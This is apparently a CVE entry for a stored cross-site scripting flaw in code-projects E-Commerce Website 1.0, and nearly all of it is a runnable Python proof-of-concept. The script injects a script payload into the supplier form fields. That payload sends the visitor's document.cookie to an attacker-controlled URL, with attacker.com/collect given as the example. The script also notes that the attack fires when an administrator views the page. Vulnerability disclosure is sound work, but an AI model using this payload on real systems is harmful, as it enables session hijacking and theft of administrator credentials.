CVE-2025-12333: code-projects E-Commerce Website 1.0 跨站脚本漏洞

import requests import sys # CVE-2025-12333 PoC - Stored XSS in code-projects E-Commerce Website 1.0 # Target: /pages/supplier_add.php def exploit_xss(target_url, attacker_controlled_url=None): """ Exploit Stored XSS vulnerability in supplier_add.php Parameters: target_url: Base URL of the vulnerable application attacker_controlled_url: URL to receive stolen cookies (optional) """ # XSS payload - steals cookies and sends to attacker if attacker_controlled_url: xss_payload = f'<script>fetch("{attacker_controlled_url}?cookie="+document.cookie)</script>' else: xss_payload = '<script>alert(document.cookie)</script>' # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/pages/supplier_add.php" # Prepare POST data with XSS payload post_data = { 'supp_name': xss_payload, 'supp_address': xss_payload, 'submit': 'Add Supplier' # Adjust based on actual form field name } print(f"[*] Targeting: {endpoint}") print(f"[*] Payload: {xss_payload}") try: # Send POST request with XSS payload response = requests.post(endpoint, data=post_data, timeout=10) if response.status_code == 200: print("[+] XSS payload submitted successfully!") print("[*] Wait for admin to visit the supplier page to trigger the script") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12333_poc.py <target_url> [attacker_url]") print("Example: python cve-2025-12333_poc.py http://localhost/code-projects http://attacker.com/collect") sys.exit(1) target = sys.argv[1] attacker_url = sys.argv[2] if len(sys.argv) > 2 else None exploit_xss(target, attacker_url)